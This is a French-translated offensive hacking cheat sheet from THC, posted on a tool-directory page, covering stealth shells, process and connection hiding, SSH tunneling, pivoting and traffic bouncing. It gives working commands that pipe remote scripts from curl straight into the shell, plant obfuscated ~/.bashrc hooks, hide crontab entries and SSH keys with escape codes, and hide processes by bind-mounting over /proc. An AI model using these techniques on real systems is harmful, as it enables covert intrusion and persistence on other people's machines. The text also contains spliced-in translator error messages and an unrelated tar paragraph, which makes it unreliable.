Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
thc-tips-tricks-hacks-cheat-sheet — Various tips & tricks | Kitploit
Outils/GitHubGitHub/hackerschoice/thc-tips-tricks-hacks-cheat-sheet
OSINT (Open Source Intelligence)Persistence MechanismsLateral MovementData ExfiltrationInformation GatheringPost-ExploitationPenetration TestingRed TeamingCurated Resources

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Payload Development
GitHubhackerschoice/thc-tips-tricks-hacks-cheat-sheet

thc-tips-tricks-hacks-cheat-sheet

Various tips & tricks

Voir le dépôt
3.9k471il y a 1 moisVérifié par Kitploit

Les trucs, astuces et hacks préférés de THC (Aide-mémoire)

https://thc.org/tips

Une collection de nos astuces préférées. Beaucoup de ces astuces ne viennent pas de nous. Nous nous contentons de les collecter.

Nous montrons les astuces telles quelles, sans expliquer pourquoi elles fonctionnent. Vous devez connaître Linux pour comprendre comment et pourquoi elles fonctionnent.

Vous avez des astuces ? Rejoignez-nous https://thc.org/ops

  1. Bash
    1. Configurer un Hack Shell
    2. Masquer vos commandes
    3. Masquer les options de votre ligne de commande
    4. Masquer une connexion réseau
    5. Masquer un processus en tant qu'utilisateur
    6. Masquer un processus en tant que root
    7. Masquer des scripts
    8. Se cacher de cat
    9. Exécuter en parallèle avec des fichiers journaux séparés
  2. SSH
    1. SSH presque invisible
    2. Plusieurs shells via une connexion SSH/TCP
    3. Tunnel SSH
    4. Tunnel SSH socks5
    5. SSH vers un hôte NATé
    6. Pivot SSH via ProxyJump
    7. SSHD en tant qu'utilisateur
  3. Réseau
    1. Découvrir des hôtes
    2. Tcpdump
    3. Tunnel et redirection
      1. Ports TCP bruts inversés
      2. Redirections inversées HTTPS
      3. Faire rebondir le trafic avec iptables
      4. IP fantôme / Usurpation d'IP
      5. Divers
    4. Utiliser n'importe quel outil via un proxy Socks
    5. Trouver votre adresse IP publique
    6. Vérifier l'accessibilité depuis le monde entier
    7. Vérifier/Scanner les ports ouverts
    8. Craquer les hashs de mots de passe
    9. Forcer les mots de passe / clés par brute force
  4. Téléversement / Téléchargement / Exfiltration de données
    1. Encodage / Décodage de fichiers
    2. Transfert de fichiers par couper-coller
    3. Transfert de fichiers avec tmux
    4. Transfert de fichiers avec screen
    5. Transfert de fichiers avec gs-netcat et sftp
    6. Transfert de fichiers via HTTP
    7. Téléchargement de fichiers sans curl
    8. Transfert de fichiers avec rsync
    9. Transfert de fichiers vers des sites de dépôt publics
    10. Transfert de fichiers via WebDAV
    11. Transfert de fichiers vers Telegram
  5. Reverse Shell / Dumb Shell
    1. Reverse Shells
      1. avec gs-netcat (chiffré)
      2. avec Bash
      3. avec cURL (chiffré)
      4. avec cURL (en clair)
      5. avec OpenSSL (chiffré)
      6. avec remote.moe (chiffré)
      7. sans /dev/tcp
      8. avec Python
      9. avec Perl
      10. avec PHP
    2. Améliorer le shell bancal
      1. Faire passer un reverse shell à un shell pty
      2. Faire passer un reverse shell à un shell entièrement interactif
      3. Reverse shell avec socat (entièrement interactif)
  6. Backdoors
    1. gs-netcat
    2. sshx.io
    3. La plus petite backdoor SSHD
    4. Accès à distance à tout un réseau
    5. La plus petite backdoor PHP
    6. La plus petite backdoor par tunnel DNS inversé
    7. Backdoor root locale
    8. Implant auto-extractible
  7. Reconnaissance d'hôtes
  8. Astuces Shell
    1. Déchiqueter des fichiers (suppression sécurisée)
    2. Restaurer la date d'un fichier
    3. Nettoyer les fichiers journaux
    4. Masquer des fichiers à un utilisateur sans privilèges root
    5. Rendre un fichier immuable
    6. Changer d'utilisateur sans sudo/su
    7. Offusquer et chiffrer un payload
    8. Déployer une backdoor sans toucher au système de fichiers
  9. Cryptographie
    1. Générer rapidement un mot de passe aléatoire
    2. Systèmes de fichiers chiffrés transportables Linux
      1. cryptsetup
      2. EncFS
    3. Chiffrer un fichier
  10. Sniffing et détournement de session
    1. Sniffer la session SHELL d'un utilisateur
    2. Sniffer toutes les sessions SHELL avec dtrace
    3. Sniffer toutes les sessions SHELL avec eBPF
    4. Sniffer la session SSH ou SSHD d'un utilisateur avec strace
    5. Sniffer la session SSH sortante d'un utilisateur avec un script wrapper
    6. Sniffer la session SSH sortante d'un utilisateur avec SSH-IT
    7. Détourner / Prendre le contrôle d'une session SSH en cours
  11. VPN et Shells
    1. Serveurs root jetables
    2. Fournisseurs VPN/VPS
  12. Collecte de renseignements OSINT
  13. Divers
    1. Outils du métier
    2. Commandes Linux sympas
    3. Aide-mémoire tmux
    4. Commandes utiles
  14. Comment devenir un hacker
  15. Autres sites

1. Bash / Shell

1.i. Configurer un Hack Shell (bash) :

Rend BASH moins bruyant. Désactive ~/.bash_history et beaucoup d'autres choses.```sh source <(curl -SsfL https://thc.org/hs)

root@kitploit:~
URL alternative :```sh
 source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)

Et s'il n'y a pas de curl/wget, utilisez surl et curl installé (temporairement) avec bin curl.```sh source <(surl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)

Afterwards type bin curl to (temporarily) install curl (in memory).

root@kitploit:~
HackShell fait bien plus, mais surtout ceci :```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
    PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
    PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"

TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160

Nous utilisons beaucoup anew, et voici une solution de contournement rapide :```shell xanew() { awk 'hit[$0]==0 {hit[$0]=1; print $0}'; } which anew &>/dev/null || alias anew=xanew

root@kitploit:~
Astuce bonus :
Toute commande commençant par un " " (espace) ne sera [pas enregistrée dans l'historique](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces) non plus.```
$  id

1.ii. Masquez votre commande / Daemonisez votre commande

Cela masquera uniquement le nom du processus. Utilisez zapper pour masquer également les options de la ligne de commande.```shell (exec -a syslogd nmap -Pn -F -n --open -oG - 10.0.2.1/24) # Note the brackets '(' and ')'

root@kitploit:~
Démarrez un 'nmap' en arrière-plan, caché sous '/usr/sbin/sshd' :```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)

Commencez dans un GNU screen:``` screen -dmS MyName nmap -Pn -F -n --open -oG - 10.0.2.1/24

Attach back to the nmap process

screen -x MyName

root@kitploit:~
Alternativement, copiez le binaire sous un nouveau nom :```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24

ou utilisez un bind-mount pour (temporairement) faire pointer /sbin/init vers /dev/shm/nmap à la place :```shell mount -n --bind "$(command -v nmap)" /sbin/init

starting /sbin/init will instead execute nmap

(/sbin/init -Pn -f -n --open -oG - 10.0.2.1/24 &>nmap.log &)

root@kitploit:~
<a id="zap"></a>
**1.iii. Masquez vos options de ligne de commande**

Utilisez [zapper](https://github.com/hackerschoice/zapper):```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper

Logo```sh

Start Nmap but zap all options and show it as 'klog' in the process list:

./zapper -a klog nmap -Pn -F -n --open -oG - 10.0.0.1/24

Started as a daemon and sshd-style name:

(./zapper -a 'sshd: root@pts/0' nmap -Pn -F -n --open -oG - 10.0.0.1/24 &>nmap.log &)

Replace the existing shell with tmux (with 'exec').

Then start and hide tmux and all further processes - as some kernel process:

exec ./zapper -f -a'[kworker/1:0-rcu_gp]' tmux

root@kitploit:~
<a id="bash-hide-connection"></a>
**1.iv. Masquer une connexion réseau**

L'astuce consiste à détourner `netstat` et à utiliser grep pour filtrer notre connexion. Cet exemple filtre toute connexion sur le port 31337 _ou_ l'IP 1.2.3.4. Il faut faire de même pour `ss` (une alternative à netstat).

**Méthode 1 - Masquer une connexion avec une fonction bash dans ~/.bashrc**

Coupez et collez ceci pour ajouter la ligne à ~/.bashrc```shell
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

Ou copiez-collez ceci pour une entrée obfusquée dans /.bashrc :```shell X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' echo "eval $(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>/.bashrc
&& touch -r /etc/passwd ~/.bashrc

root@kitploit:~
L'entrée obfusquée dans ~/.bashrc ressemblera à ceci :```
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG

Méthode 2 - Masquer une connexion avec un binaire dans $PATH

Créez un faux binaire netstat dans /usr/local/sbin. Sur un Debian par défaut (et la plupart des Linux), la variable PATH (echo $PATH) liste /usr/local/sbin avant /usr/bin. Cela signifie que notre binaire de détournement /usr/local/sbin/netstat sera exécuté à la place de /usr/bin/netstat.```shell echo '#! /bin/bash exec /usr/bin/netstat "$@" | grep -Fv -e :22 -e 1.2.3.4' >/usr/local/sbin/netstat
&& chmod 755 /usr/local/sbin/netstat
&& touch -r /usr/bin/netstat /usr/local/sbin/netstat

root@kitploit:~
*(merci iamaskid)*

<a id="hide-a-process-user"></a>
**1.v. Masquer un processus en tant qu'utilisateur**

Poursuivant de « Cacher une connexion », la même technique peut être utilisée pour masquer un processus. Cet exemple masque le processus nmap et veille également à ce que notre `grep` n'apparaisse pas dans la liste des processus en le renommant en GREP :```shell
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

1.vi. Masquer un processus en tant que root

Cela nécessite les privilèges root et est une vieille astuce Linux consistant à monter par-dessus /proc/<pid> avec un répertoire inutile :```sh hide() { [[ -L /etc/mtab ]] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; } _pid=${1:-$$} [[ $_pid =~ ^[0-9]+$ ]] && { mount -n --bind /dev/shm /proc/$_pid && echo "[THC] PID $_pid is now hidden"; return; } local _argstr for _x in "${@:2}"; do _argstr+=" '${_x//'/'"'"'}'"; done [[ $(bash -c "ps -o stat= -p $$") =~ + ]] || exec bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" }

root@kitploit:~
Pour masquer une commande, utilisez :```sh
hide                                 # Hides the current shell/PID
hide 31337                           # Hides process with pid 31337
hide sleep 1234                      # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null &  # Starts and hides 'sleep 1234' as a background process

(merci à druichi pour cette amélioration)

1.vii. Masquer les scripts shell

Plus haut, nous avons expliqué comment obfusquer une ligne dans ~/.bashrc. Une astuce souvent utilisée consiste à utiliser source à la place. La commande source peut être raccourcie en . (oui, un point) et elle recherche également dans la variable $PATH le fichier à charger.

Dans cet exemple, notre script prng contient toutes nos fonctions shell ci-dessus. Ces fonctions masquent le processus nmap et la connexion réseau. Enfin, nous ajoutons . prng dans le fichier rc système. Cela chargera prng lorsque l'utilisateur (et root) se connecte :```shell echo -e 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; } ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >/usr/bin/prng
&& echo ". prng #Initialize Pseudo Random Number Generator" >>/etc/bash.bashrc
&& touch -r /etc/ld.so.conf /usr/bin/prng /etc/bash.bashrc

root@kitploit:~
(La même chose fonctionne pour `lsof`, `ss` et `ls`)

<a id="cat"></a>
**1.viii. Se cacher de cat**

Les caractères d'échappement ANSI ou un simple `\r` ([retour chariot](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/)) peuvent être utilisés pour se cacher de `cat` et autres.

Cacher la dernière commande (exemple : `id`) dans `~/.bashrc` :```sh
echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.

Ajouter une ligne crontab cachée :```sh (crontab -l; echo -e "0 2 * * * { id; date;} 2>/dev/null >/tmp/.thc-was-here #\033[2K\033[1A") | crontab

root@kitploit:~
Ajouter un `\r` (retour chariot) aide beaucoup à cacher votre clé ssh de `cat` :```shell
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).

1.ix. Exécuter en parallèle avec des fichiers de log séparés*

Note: On peut obtenir le même résultat avec parallel.

Scannez les hôtes avec 20 tâches parallèles:```sh cat hosts.txt | xargs -P20 -I{} --process-slot-var=SLOT bash -c 'exec nmap -n -Pn -sV -F --open -oG - {} >>"nmap_${SLOT}.txt"'

root@kitploit:~
- `exec` est utilisé pour remplacer le shell sous-jacent par le dernier processus (nmap). C'est facultatif mais réduit le nombre de binaires shell inutiles en cours d'exécution.
- `${SLOT}` contient une valeur entre 0 et 19. C'est le « numéro de tâche ». Nous l'utilisons pour écrire les résultats nmap dans 20 fichiers séparés.

Exécutez [Linpeas](https://github.com/carlospolop/PEASS-ng) sur tous les hôtes [gsocket](https://www.gsocket.io/deploy) en utilisant 40 workers :```sh
cat secrets.txt | xargs -P40 -I{} --process-slot-var=SLOT bash -c 'mkdir host_{}; gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>>"linpeas-${SLOT}.err"'

2. SSH

2.i. SSH presque invisible

Vous empêche d'apparaître dans la commande w ou who et empêche d'enregistrer l'hôte dans ~/.ssh/known_hosts.```sh ssh -o UserKnownHostsFile=/dev/null -T [email protected] "bash -i"

root@kitploit:~
Profitez d'un confort total avec PTY et les couleurs : `xssh [email protected]` :```sh
### Cut & Paste the following to your shell, then execute
### xssh [email protected]
xssh() {
    local ttyp="$(stty -g)"
    echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
    echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'
    echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
    stty raw -echo icrnl opost
    [[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
    ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \
        "$@" \
        "unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
    stty "${ttyp}"
}

(See Hackshell)

2.ii Plusieurs shells via 1 connexion SSH/TCP

Ayez une connexion TCP vers la cible et permettez à plusieurs utilisateurs de se greffer sur la même connexion TCP pour ouvrir d'autres sessions shell.

Créez une connexion maître :```sh ssh -M -S .sshmux [email protected]

root@kitploit:~
Créez d'autres sessions shell en utilisant la même connexion Master-TCP (unique) ci-dessus (aucun mot de passe / authentification requis) :```sh
ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .

Peut être combiné avec xssh pour se cacher d'utmp.

2.iii Tunnel SSH

Nous l'utilisons tout le temps pour contourner les pare-feux locaux et le filtrage IP :```sh ssh -g -L31337:1.2.3.4:80 [email protected]

root@kitploit:~
Vous ou n'importe qui d'autre pouvez désormais vous connecter à votre ordinateur sur le port 31337 et être tunnelé vers 1.2.3.4 port 80 et apparaître avec l'IP source de 'server.org'. Une alternative, sans nécessiter de serveur, consiste à utiliser [gs-netcat](#backdoor-network).

Les hackers ingénieux utilisent la combinaison de touches `~C` pour créer dynamiquement ces tunnels sans avoir à se reconnecter en SSH. (merci MessedeDegod).

Nous utilisons cela pour donner à un ami l'accès à une machine interne qui n'est pas sur l'Internet public :```sh
ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]

Toute personne se connectant à server.org:31338 sera acheminée par tunnel vers 192.168.0.5 sur le port 80 via votre ordinateur. Une alternative, sans nécessiter de serveur, consiste à utiliser gs-netcat.

2.iv Tunnel SSH socks4/5

OpenSSH 7.6 ajoute la prise en charge de socks pour le forwarding dynamique. Exemple : Tunnelisez tout le trafic de votre navigateur via votre serveur.```sh ssh -D 1080 [email protected]

root@kitploit:~
Maintenant, configurez votre navigateur pour utiliser SOCKS avec 127.0.0.1:1080. Tout votre trafic est désormais tunnelisé via *server.org* et apparaîtra avec l'adresse IP source de *server.org*. Une alternative, sans nécessiter de serveur, consiste à utiliser [gs-netcat](#backdoor-network).

Ceci est l'inverse de l'exemple ci-dessus. Cela donne à d'autres l'accès à votre réseau *local* ou permet à d'autres d'utiliser votre ordinateur comme point de terminaison de tunnel.```sh
ssh -g -R 1080 [email protected]

Les autres, configurant server.org:1080 comme proxy SOCKS4/5, peuvent désormais se connecter à n'importe quel ordinateur sur n'importe quel port auquel votre ordinateur a accès. Cela inclut l'accès aux ordinateurs derrière votre pare-feu qui se trouvent sur votre réseau local. Une alternative, sans avoir besoin d'un serveur, consiste à utiliser gs-netcat.

2.v SSH vers un hôte derrière NAT

ssh-j.com fournit un excellent service de relais : pour accéder à un hôte derrière NAT/pare-feu (via SSH).

Sur l'hôte derrière NAT : créez un tunnel SSH inverse vers ssh-j.com comme ceci :```sh

Cut & Paste on the host behind NAT.

sshj() { local pw pw=${1,,} [[ -z $pw ]] && { pw=$(head -c64 </dev/urandom | base64 | tr -d -c a-z0-9); pw=${pw:0:12}; } echo "Press Ctrl-C to stop this tunnel." echo -e "To ssh to ${USER:-root}@${2:-127.0.0.1}:${3:-22} type: \e[0;36mssh -J ${pw}@ssh-j.com ${USER:-root}@${pw}\e[0m" ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes ${pw}@ssh-j.com -N -R ${pw}:22:${2:-0}:${3:-22} }

sshj # Generates a random tunnel ID [e.g. 5dmxf27tl4kx] and keeps the tunnel connected sshj foobarblahblub # Creates tunnel to 127.0.0.1:22 with specific tunnel ID sshj foobarblahblub 192.168.0.1 2222 # Tunnel to host 192.168.0.1:2222 on the LAN

root@kitploit:~
Utilisez ensuite cette commande depuis n'importe où dans le monde pour vous connecter en tant que « root » à « foobarblahblub » (l'hôte derrière le NAT) :```sh
ssh -J [email protected] root@foobarblahblub

La connexion ssh passe par ssh-j.com dans le tunnel inverse vers l'hôte derrière NAT. Le trafic est chiffré de bout en bout et ssh-j.com ne peut pas voir le contenu.

2.vi Pivot SSH vers plusieurs serveurs

SSH ProxyJump peut vous faire gagner beaucoup de temps et vous éviter bien des tracas lorsque vous travaillez avec des serveurs distants. Prenons le scénario suivant :

Notre poste de travail est $local-kali et nous souhaitons nous connecter en SSH à $target-host. Il n'y a aucune connexion directe entre notre poste de travail et $target-host. Notre poste de travail ne peut joindre que $C2. $C2 peut joindre $internal-jumphost (via eth1 interne) et $internal-jumphost peut joindre le $target-host final via eth2.```sh $local-kali -> $C2 -> $internal-jumphost -> $target-host eth0 192.168.8.160 10.25.237.119
eth1 192.168.5.130 192.168.5.135 eth2 172.16.2.120 172.16.2.121

root@kitploit:~
> Nous n'exécutons `ssh` sur aucun ordinateur, sauf sur notre poste de travail de confiance - et vous ne le ferez jamais non plus.

C'est là que ProxyJump entre en jeu : nous pouvons « sauter » via les deux serveurs intermédiaires $C2 et $internal-jumphost (sans lancer de shell sur ces serveurs). La connexion ssh est chiffrée de bout en bout entre notre $local-kali et $target-host, et aucun mot de passe ni clé n'est exposé à $C2 ou $internal-jumphost.```sh 
## if we want to SSH to $target-host:
kali@local-kali$ ssh -J [email protected],[email protected] [email protected]

## if we want to SSH to just $internal-jumphost:
kali@local-kali$ ssh -J [email protected] [email protected]

Nous l'utilisons également pour masquer notre adresse IP lors de la connexion à des serveurs.

2.vii SSHD en espace utilisateur

Il est possible de démarrer un serveur SSHD en tant qu'utilisateur non-root et de l'utiliser pour multiplexer ou transférer des connexions TCP (sans journalisation et lorsque le SSHD système interdit le transfert/le multiplexage) ou comme serveur de dump/exfiltration rapide fonctionnant sans privilèges root :```sh

On the server, as non-root user 'joe':

mkdir -p /.ssh 2>/dev/null ssh-keygen -q -N "" -t ed25519 -f sshd_key cat sshd_key.pub >>/.ssh/authorized_keys cat sshd_key $(command -v sshd) -f /dev/null -o HostKey=$(pwd)/sshd_key -o GatewayPorts=yes -p 31337 # -Dvvv

root@kitploit:~
```sh
# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 [email protected]
# curl -x socks5h://0 ipinfo.io

SSF est une alternative pour multiplexer TCP sur TLS.


3. Réseau

3.i. Découvrir les hôtes```sh

ARP discover computers on the LOCAL network only

nmap -n -sn -PR -oG - 192.168.0.1/24

root@kitploit:~
No content was provided for translation. Please supply the actual Markdown text for chunk 82 so it can be translated from English to French.```sh
### ICMP discover hosts
nmap -n -sn -PI -oG - 192.168.0.1/24

Utiliser le champ exporté untrusted

Le paquet déclare un champ untrusted qui sera ajouté aux métadonnées du paquet en cours d’extraction. Toute valeur évaluée à vrai empêchera que les liens des fichiers extraits soient conservés à l’identique de ceux du fichier tar. À la place, les liens physiques sont remplacés par des copies, et les liens symboliques sont vérifiés pour s’assurer que leur cible est sûre, puis transformés en un fichier ordinaire avec le même contenu.

untrusted peut être défini en tant que booléen directement dans l’appel à Unpack, ou comme un indicateur dans les métadonnées du paquet. Définir hdr.Format = tar.FormatUnknown ou hdr.Format = tar.FormatGNU définit le champ untrusted de l’en-tête du paquet à true.```sh

ICMP discover hosts (local LAN) ROOT

NET="10.11.0" # discover 10.11.0.1-10.11.0.254

seq 1 254 | xargs -P20 -I{} ping -n -c3 -i0.2 -w1 -W200 "${NET:-192.168.0}.{}" | grep 'bytes from' | awk '{print $4" "$7;}' | sort -uV -k1,1

root@kitploit:~
---
<a id="tcpdump"></a>
**3.ii. tcpdump**```sh
## Monitor every new TCP connection
tcpdump -np 'tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0'

## Play a *bing*-noise for every new SSH connection
tcpdump -nplq 'tcp[13] == 2 and dst port 22' | while read -r x; do echo "${x}"; echo -en \\a; done

## Ascii output (for all large packets. Change to >40 if no TCP options are used).
tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'

3.iii. Tunnel et redirection```sh

Connect to SSL (using socat)

socat stdio openssl-connect:smtp.gmail.com:465

Connect to SSL (using openssl)

openssl s_client -connect smtp.gmail.com:465

root@kitploit:~
I don't see any content to translate — the input after "INPUT:" is empty. There is no Markdown text, headings, or code blocks in this chunk. Since there is nothing to translate, I have nothing to output.```sh
## Bridge TCP to SSL
socat TCP-LISTEN:25,reuseaddr,fork  openssl-connect:smtp.gmail.com:465

3.iii.a Ports TCP bruts inversés

Utile pour les backdoors inversées qui nécessitent un port TCP sur une adresse IP publique :

En utilisant segfault.net (gratuit) :```sh

Request a random public TCP port:

curl sf/port echo "Your public IP:PORT is $(cat /config/self/reverse_ip):$(cat /config/self/reverse_port)" nc -vnlp $(cat /config/self/reverse_port)

root@kitploit:~
En utilisant [bore.pub](https://github.com/ekzhang/bore) (gratuit) :```sh
# Forward a random public TCP port to localhost:31337
bore local 31337 --to bore.pub

en utilisant serveo.net (gratuit):```sh

Forward a random public TCP port to localhost:31337

ssh -R 0:localhost:31337 [email protected]

root@kitploit:~
en utilisant [pinggy.io](https://www.pinggy.io) (60 minutes gratuites):```sh
ssh -p 443 -R 0:localhost:31337 [email protected]

Voir aussi remote.moe (gratuit) pour transférer le TCP brut de la cible vers votre poste de travail, ou playit (gratuit) ou ngrok (abonnement payant) pour transférer un port TCP public brut.

Les autres services gratuits ne permettent que le transfert de HTTPS (pas de TCP brut). Quelques astuces ci-dessous montrent comment tunneler le TCP brut à travers des transferts HTTPS (en utilisant des websockets).


3.iii.b Tunnels inversés HTTPS

Sur le serveur, utilisez l'un de ces trois services de tunneling HTTPS:```sh

Reverse HTTPS tunnel to forward public HTTPS requests to this server's port 8080:

ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]

Or using remote.moe

ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]

Or using cloudflared

curl -fL -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64 chmod 755 cloudflared cloudflared tunnel --url http://localhost:8080 --no-autoupdate

root@kitploit:~
Either service will generate a new temporary HTTPS-URL for you to use.  

Then, use [websocat](https://github.com/vi/websocat) or [Gost](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) on both ends to tunnel raw TCP over the HTTPS URL:

A. A simple STDIN/STDOUT pipe via HTTPS:```sh
### On the server convert WebSocket to raw TCP:
websocat -s 8080
root@kitploit:~
### On the remote target forward stdin/stdout to WebSocket:
websocat wss://<HTTPS-URL>

B. Transférer le TCP brut via HTTPS:```sh

On the server: Gost will translate any HTTP-websocket request to a TCP socks5 request:

gost -L mws://:8080

root@kitploit:~
Redirigez le port 2222 vers le port 22 du serveur.```sh
### On the workstation:
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
### Test the connection (will connect to localhost:22 on the server)
nc -vn 127.0.0.1 2222

ou utilisez le serveur comme nœud de sortie Socks-Proxy (par ex. accédez à n'importe quel hôte à l'intérieur du réseau du serveur ou même à Internet via le serveur (en utilisant le tunnel inverse HTTPS ci-dessus):```sh

On the workstation:

gost -L :1080 -F 'mwss://:443'

Test the Socks-proxy:

curl -x socks5h://0 ipinfo.io

root@kitploit:~
Plus : [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) et [Tunnel via Cloudflare vers n'importe quel service TCP](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) et [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling).

---
<a id="iptables"></a>
**3.iii.c Faire rebondir le trafic avec iptables**

Faites rebondir le trafic à travers un hôte/routeur sans avoir à exécuter un proxy ou un forwarder en espace utilisateur :```sh
bounceinit() {
    echo 1 >/proc/sys/net/ipv4/ip_forward
    echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
    [ $# -le 0 ] && set -- "0.0.0.0/0"
    while [ $# -gt 0 ]; do
        iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188 
        shift 1
    done
    iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
    iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
    iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
}
bounce() {
    iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
bounceinit                             # Allow EVERY IP to bounce
# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce

(Voir Hackshell bounce)

Ensuite, définissez les redirections comme suit :```sh bounce 31337 144.76.220.20 22 # Bounce 31337 to segfault's ssh port. bounce 31338 127.0.0.1 8080 # Bounce 31338 to the server's 8080 (localhost) bounce 53 213.171.212.212 443 # Bounce 53 to gsrn-relay on port 443

root@kitploit:~
Nous utilisons cette astuce pour atteindre le gsocket-relay-network (ou TOR) depuis l'intérieur de réseaux protégés par des pare-feu.```sh
# Deploy on a target that can only reach 192.168.0.100  
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh  
root@kitploit:~
# Access the target  
